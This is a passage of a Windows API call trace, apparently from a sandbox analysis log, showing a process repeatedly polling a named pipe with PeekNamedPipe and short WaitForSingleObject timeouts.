PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.259] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.289] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.289] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.320] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.368] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.368] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.403] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.430] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.430] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.485] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.485] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.507] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.538] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.570] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.570] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.601] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.632] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.632] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.664] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.694] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.695] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.726] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.757] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.789] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.820] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.850] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.851] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.919] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.944] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.944] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.975] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.007] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.039] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.077] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.100] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.100] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.131] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.132] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.163] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.163] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.194] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.225] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.256] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.256] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.302] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.302] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.320] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.350] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.381] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.466] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.490] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.552] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.584] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.615] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.615] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.646] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.678] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.678] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.709] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.709] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.740] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.771] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.771] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.850] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.880] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.911] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.953] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.974] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.041] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.068] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.098] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.137] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.137] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.193] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.302] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.302] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.333] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.364] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, 